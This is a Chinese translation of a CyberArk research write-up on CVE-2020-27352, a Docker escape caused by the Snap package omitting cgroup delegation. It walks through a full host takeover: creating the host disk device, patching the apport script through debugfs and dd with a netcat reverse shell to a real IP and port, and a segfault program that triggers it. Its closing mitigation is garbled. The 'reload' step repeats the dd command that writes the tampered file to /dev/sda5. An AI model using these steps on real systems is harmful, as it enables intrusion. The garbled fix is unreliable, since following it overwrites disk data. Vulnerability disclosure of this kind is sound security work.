Docker越獄,你抓到它了嗎?
本文轉載自微信公眾號「新鈦云服」,作者徐磊 翻譯。轉載本文請聯系新鈦云服公眾號。
因為一個關于Docker容器安全的事件,把曾一度以穩定性和安全性著稱的Docker,演繹成了擁有特權漏洞的容器引擎,使其能夠直接訪問底層宿主機,就好比CVE-2020-27352安全漏洞導致代碼在主機上執行,一夜之間,Docker容器的安全性形同虛設:
Docker在一夜之間更改了cgroup,這使我們能夠提升權限并獲得主機的root訪問權限。我們能夠利用cgroups在主機上運行反向Shell并獲得代碼執行權限。
此問題是由于Canonical的Snap中的配置錯誤而導致的,并且影響了許多產品。它被指定為CVE-2020-27352
CVE-2020-27352
在為docker生成systemd服務單元時,snapd未指定"Delegate=yes",結果systemd會將進程從這些容器中移入主守護程序的cgroup中。重新加載系統單元時會自動對齊。這可能會向快照中的容器授予原本不希望的其他特權。
一、Linux容器–命名空間和cgroup
Docker是利用cgroup和namespaces來創建安全,可靠和強大的隔離框架。為了構建輕量級容器,需要創建有效的資源管理和隔離,為了使我們能夠虛擬化系統環境,Linux內核以namespace和cgroups來提供低級隔離機制。
從根本上說,namespace是限制Linux進程樹對各種系統實體(例如網絡接口,進程樹,用戶ID和文件系統安裝)的訪問和可見性的機制。
另一方面,Linux cgroups功能不僅提供了一種限制機制,而且還可以管理和說明一組進程的資源使用情況。它限制并監視系統資源,例如CPU時間,系統內存,磁盤帶寬,網絡帶寬等。
這樣看上去cgroup看起來非常安全。是這樣嗎?如果有人在Docker容器上錯誤配置了cgroups那該怎么辦?
讓我們看看Docker在其“安全”網頁上對cgroup的評價:
起到阻止一個容器訪問或影響另一個容器的數據和進程的作用,它們對于抵御某些拒絕服務攻擊非常重要。它們在公共和私有PaaS之類的多租戶平臺上尤其重要,即使在某些應用程序出現異常時,也要保證一致的正常runtime。
這就是說,如果Docker容器的cgroup配置錯誤的話,我們面臨的最糟糕的情況就是拒絕服務。
二、Devices cgroup的特殊案例
盡管cgroup被描述為實現資源核算和限制的機制,但“內核” cgroups文檔中的“Devices” cgroup(也稱為“設備白名單控制器”)比較特殊。因此,Devices cgroup的作用被描述為:
實施cgroup來跟蹤并強制執行對設備文件的打開和mknod限制…”
紅帽Linux指南對此不透明的定義提供了一些啟示:
設備子系統允許或拒絕cgroup中的任務訪問設備。
回到內核cgroups文檔,可以清晰的看到:
訪問權限是r,w和m的組合。
確切地說,從我們的安全角度出發,無論是創建,讀取還是寫入,都要對 Linux內核的設備禁止各種訪問。
受此白名單機制控制的設備可以是內核使用的任何設備。也包括安全的設備,例如/dev/null和/dev/zero,還包括USB設備(例如/dev/uhid),cdroms(/dev/ cdrom),甚至內核的硬盤(例如/dev/sda設備)。
總結來說:Devices cgroup是cgroup子系統中的一個特殊的組成部分,因為它不僅一種“資源核算和限制”機制,而且還是一個內核設備白名單控制器,與系統的資源耗盡相比,它可能造成更大的破壞。
三、從Docker默認容器到主機上的RCE
Systemd是linux下的一種初始化軟件,為系統提供了很多系統組件。它旨在統一不同Linux之間的服務配置,并被大多數Linux發行版廣泛采用。
Systemd的主要組件之一是服務管理器,它用于初始化系統,并且引導系統用戶空間和管理用戶進程。
作為其操作的一部分,systemd創建并管理監視各種cgroup。Systemd的cgroup管理理念基于一些設計思想,包括systemd官方網站引用的“單寫者規則”:
單寫者規則:這意味著每個cgroup中只有一個單寫者,即一個進程管理它。只有一個進程應該擁有一個特定的cgroup,并且當它擁有該cgroup時,它是排他性的,沒有其他東西可以同時對其進行操作。
該規則對docker系統有深遠的影響。
如果容器管理器在系統cgroup中創建和管理cgroup,會違反規則,因為cgroup由systemd管理,因此對其他所有人都沒有限制。
在systemd的控制下,用于管理系統cgroup層次結構中的cgroup的容器runtime違反了此規則,這可能會干擾systemd對cgroup的管理。你可能已經猜到,配置錯誤的systemd服務可能假裝管理自己創建的cgroup,實際上,systemd從上方監督所有事務:管理,創建和刪除服務之下的cgroup ,但是上層根本沒有注意到。
這是容器轉型的核心。
當systemd重新加載一個單元時,它首先清理混亂的cgroup,將子cgroup中產生的所有進程移到較高的進程。特別是,如果systemd管理dockerd服務,它將在重新加載時清除所有docker容器的cgroup,從而將容器進程保留在較高的cgroup子系統層次結構中。
為什么systemd會突然重新加載?
系統重裝比人們想象的要復雜得多。在啟用服務,禁用一項服務,添加服務依賴項等之后,它將重新加載其任何服務的配置文件。這意味著,如果某些事情導致系統服務發生更改,那么即使是不太活躍的服務也可能容易受到影響。
Debian的“無人值守升級就是此類事物的一個著名例子。
無人值守升級是Debian軟件包管理系統之一,其主要目的是“通過最新的具有安全性(及其他)更新自動使計算機保持最新狀態。”
無人值守升級是一項定期任務,它在預配置的時間內運行一次。它會自動下載并安裝安全更新,并且默認情況下會在包括Ubuntu桌面系統和服務器系統在內的各種系統上啟用。升級某些服務時,它們的systemd單元配置會更改,這導致systemd重新加載整個系統,如下:
- $ sudo journalctl -u apt-daily-upgrade.service
- Dec 10 08:49:42 ubuntu systemd[1]: Starting Daily apt upgrade and clean activities...
- Dec 10 08:55:51 ubuntu systemd[1]: apt-daily-upgrade.service: Succeeded.
- Dec 10 08:55:51 ubuntu systemd[1]: Finished Daily apt upgrade and clean activities.
如上所示,Ubuntu每日升級服務始于08:49:42。此過程檢查是否有任何強制性升級或者要下載的應用。以下是自動升級過程的結果:
- $ journalctl --no-pager | grep "systemd\[1\]: Reloading\."
- Dec 10 08:50:47 ubuntu systemd[1]: Reloading.
- Dec 10 08:50:48 ubuntu systemd[1]: Reloading.
- Dec 10 08:50:50 ubuntu systemd[1]: Reloading.
由于每天自動升級,在8:50的時候systemd的重新加載將會連續發生。具有諷刺意味的是,這是安全漏洞的突破口。
四、可能的解決方案
系統開發人員意識到某些服務需要管理自己的cgroup,并允許systemd為這些服務委派cgroup子樹。委托的cgroup本身由systemd管理,但是程序可以自由地在其中創建子cgroup,而不會受到systemd的干擾,如systemd網站中所述:
systemd將不再擺弄cgroup樹的子樹。它不會更改其下的任何cgroup的屬性,也不會創建或刪除其下的任何cgroup,也不會在認為有用的情況下跨子樹的邊界遷移進程。
允許runtime(例如Docker)從systemd請求cgroup委派,從而獲得特權自行管理其cgroup。實際上,我們在各種程序包管理器中檢查的大多數Docker引擎程序包默認情況下都啟用此選項,因此不易受此特定漏洞的影響。
Snap是由Canonical團隊針對基于Linux的系統開發的軟件打包和部署系統。現成的各種Linux發行版都支持它,例如Ubuntu,Manjaro,Zorin OS等。它也可用于許多其他發行版,例如CentOS,Debian,Fedora,Kali Linux,Linux Mint,Pop!_OS,Raspbian,Red Hat Enterprise Linux和openSUSE。許多著名的軟件公司都在Snap Store中出售其軟件。
從Docker 17.03開始,Snap存儲區還提供了自己的Docker引擎和客戶端軟件包。
Snap與systemd內置集成,從而允許包含守護程序的軟件包將自身注冊為systemd單元。安裝了這樣的快照程序包后,快照程序守護程序(snapd)會代表該軟件包的守護程序生成systemd單元文件(systemd配置文件)。
但是,到目前為止,snapd還不支持系統單位文件的Delegate選項。
cgroup的配置錯誤
由于快照中缺少此功能,因此Docker快照無法自己單獨管理容器cgroup,從而使systemd擁有這些cgroup的所有權并暴露這種錯誤配置。
確定了問題的根源之后,讓我們探索一些證據。可以在/proc/
- 12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 11:cpu,cpuacct:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 10:pids:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 9:blkio:/system.slice/snap.docker.dockerd.service
- 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 7:devices:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 5:rdma:/
- 4:memory:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 0::/system.slice/snap.docker.dockerd.service
在上面的示例中,我們可以清楚地看到設備cgroup映射到Docker和容器ID(ba339…)下的文件夾。這是我們期望在Docker守護程序管理cgroup時看到的正確映射。
正如我們在系統上看到的那樣,systemd可能會自發接管Docker的容器cgroup,結果如下所示:
- 12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 11:cpu,cpuacct:/system.slice/snap.docker.dockerd.service
- 10:pids:/system.slice/snap.docker.dockerd.service
- 9:blkio:/system.slice/snap.docker.dockerd.service
- 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 7:devices:/system.slice/snap.docker.dockerd.service
- 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 5:rdma:/
- 4:memory:/system.slice/snap.docker.dockerd.service
- 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 0::/system.slice/snap.docker.dockerd.service
“ a ”代表所有類型的設備,“ *:*”表示主機上所有可用的設備,“ rwm ”表示我們現在被允許從所有設備讀取,寫入所有設備和Mknod(制造新設備)。
- 發動攻擊
cgroups的錯誤配置將默認Docker容器變成了對容器環境和底層主機更具有威脅性和攻擊性的東西。
為了演示攻擊,我們將假定在默認Docker容器中運行了一個惡意進程。攻擊分為四個階段:
在容器中,創建與基礎主機的硬盤相對應的設備。
閱讀core_pattern內核文件的內容,看看我們是否可以利用它。
利用內核的核心轉儲文件機制來生成攻擊機的反向shell。
生成分段錯誤,以便內核將生成核心轉儲并接管主機。
- 階段1:創建設備
查找主機將哪個設備用作其根設備的最佳方法是詢問/proc/cmdline文件。
- root@ba3398f7201b:/tmp# cat /proc/cmdline
- BOOT_IMAGE=/boot/vmlinuz-5.9.0 root=UUID=43796265-7241-726b-204c-6162732052756c65 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet
現在,我們需要使用帶有根UUID的findfs來查找實際的Linux設備:
- root@ba3398f7201b:/tmp# findfs UUID=43796265-7241-726b-204c-6162732052756c65
- /dev/sda5
我們還可以簡單地使用mount和lsblk查找主機的硬盤驅動器設備。
現在創建設備:
- root@ba3398f7201b:/tmp# mknod /dev/sda5 b 8 5
- 階段2:利用Linux核心轉儲文件機制
在大多數GNU/Linux系統中,當某些用戶進程崩潰時,內核會生成核心轉儲文件。例如,當應用程序由于無效的內存訪問(SIGSEGV)而崩潰時,將生成一個核心文件。此核心轉儲文件包含終止時進程內存的映像,有助于調試應用程序崩潰。這樣的故障信號可以容易地從容器內部產生。
位于/proc/sys/kernel/中的core_pattern文件用于指定核心轉儲文件名稱模式。我們可以使用預定的corename格式說明符來確定內核在生成核心轉儲文件時應使用的確切文件名,但是,如果core_pattern文件的第一個字符是管道'|',內核會將其余模式視為運行的命令。
讓我們檢查core_pattern文件:
- root@ba3398f7201b:/tmp# cat /proc/sys/kernel/core_pattern
- |/usr/share/apport/apport %p %s %c %d %P %E
因此,無論何時生成核心轉儲,內核都將執行/usr/share/中的apport文件。現在,我們應該可以訪問主機的硬盤,并可以檢查是否可以讀取apport文件然后進行更改。
- 階段3:訪問并接管apport文件
在此階段,我們使用debugfs –一種特殊的文件系統調試實用程序,它支持直接從硬盤驅動器設備進行讀取和寫入。
- root@ba3398f7201b:/tmp# debugfs /dev/sda5
- debugfs 1.42.12 (29-Aug-2014)
- debugfs:
我們可以像使用shell提示符一樣使用debugfs提示符。因此,我們更改為/usr/share/apport/:
- debugfs: cd /usr/share/apport
然后使用stat獲取有關apport文件的信息:
- debugfs: stat apport
- Inode: 1180547 Type: regular Mode: 0755 Flags: 0x80000
- Generation: 3835493899 Version: 0x00000000:00000001
- User: 0 Group: 0 Size: 29776
- File ACL: 0 Directory ACL: 0Links: 1 Blockcount: 64
- Fragment: Address: 0 Number: 0 Size: 0
- ctime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
- atime: 0x5fe1e665:32c27c14 -- Tue Dec 22 12:28:21 2020
- mtime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
- crtime: 0x5fb63c3a:359629b8 -- Thu Nov 19 09:34:50 2020
- Size of extra inode fields: 32
- EXTENTS:
- (0-7):5330129-5330136
我們將使用此信息從基礎主機硬盤讀取和寫入apport文件。
為此,我們將使用Linux實用程序dd,該實用程序允許我們從Linux設備讀取和寫入特定信息。
- root@ba3398f7201b:/tmp# dd if=/dev/sda5 skip=42641032 count=64 of=/tmp/apport
現在我們在容器的/tmp/apport中擁有整個apport文件,讓我們看一下其中的內容:
- root@ba3398f7201b:/tmp# cat apport | more
- #!/usr/bin/python3
- # Collect information about a crash and create a report in the directory
- # specified by apport.fileutils.report_dir.
- # See https://wiki.ubuntu.com/Apport for details.
- #
- # Copyright (c) 2006 - 2016 Canonical Ltd.
- # Author: Martin Pitt <martin.pitt@ubuntu.com>
- #
- # This program is free software; you can redistribute it and/or modify it
- # under the terms of the GNU General Public License as published by the
- # Free Software Foundation; either version 2 of the License, or (at your
- # option) any later version. See http://www.gnu.org/copyleft/gpl.html for
- # the full text of the license.
- import sys, os, os.path, subprocess, time, traceback, pwd, io
- import signal, inspect, grp, fcntl, socket, atexit, array, struct
- import errno, argparse
- import apport, apport.fileutils
- #
- # functions
- --More--
該文件看起來像python3腳本,因此我們要做的就是添加os.system()調用以運行netcat反向shell。由于我們無意更改文件的大小,因此我們還需要確保從文件中刪除與添加到文件中的字符數相同的字符。
由于我們的攻擊機器正在偵聽端口8081處的IP 13.57.11.205,因此添加以下行:
- os.system(‘/usr/bin/busybox nc 13.57.11.205 8081 -e/bin/bash’)
并保存文件。
接下來,我們應該將文件復制回硬盤驅動器。為此,我們再次使用“ dd”:
- root@ba3398f7201b:/tmp# dd of=/dev/sda5 seek=42641032 count=64 if=/tmp/apport
注意,我們切換了輸入文件(if)和輸出文件(of),現在我們使用'seek'而不是'skip'。
所以,現在我們已經寫了Apport會文件恢復到主機的文件系統,我們已經準備好了4個階段的攻擊。
- 階段4:武器化
為了武器化我們創建的設置,我們要做的就是生成一個細分錯誤。
我們可以通過編譯并執行以下簡短的c代碼來做到這一點:
- int main( void)
- {
- char *aaa = 0;
- *aaa = 0;
- return 1; // this line should not be reached…
- }
在成功針對Docker默認容器為該漏洞提供武器之后,我們著手找出其他哪些容器/沙盒供應商也容易受到攻擊。kubernetes,microk8s和已棄用的AWS IoT Greengrass V1也受此問題影響,并且容易受到此類攻擊。
結論:如果使用Canonical的Snap軟件包管理器管理軟件包,則系統可能容易受到CVE-2020-27352的攻擊,就容器而言,這是一個嚴重的漏洞,并且可能會影響數百萬個Linux臺式機和服務器。
容器的安全性僅與整個系統(包括Linux初始化和服務管理器以及Linux軟件包管理器)的配置一樣安全。正如我們已經證明的那樣,必須注意確保整個系統(不僅是Docker的系統)的配置能夠支持容器框架的多種需求。
如果您的Linux系統配置不正確,您可以使用以下命令,手動編輯系統Docker服務單元文件作為臨時解決方法:
- contena@ubuntu: $ sudo systemctl edit snap.docker.dockerd.service
然后添加以下行:Delegate = yes。保存文件并使用以下命令重新加載:
- root@ba3398f7201b:/tmp# dd of=/dev/sda5 seek=42641032 count=64 if=/tmp/apport
原文:https://www.cyberark.com/resources/threat-research-blog/the-strange-case-of-how-we-escaped-the-docker-default-container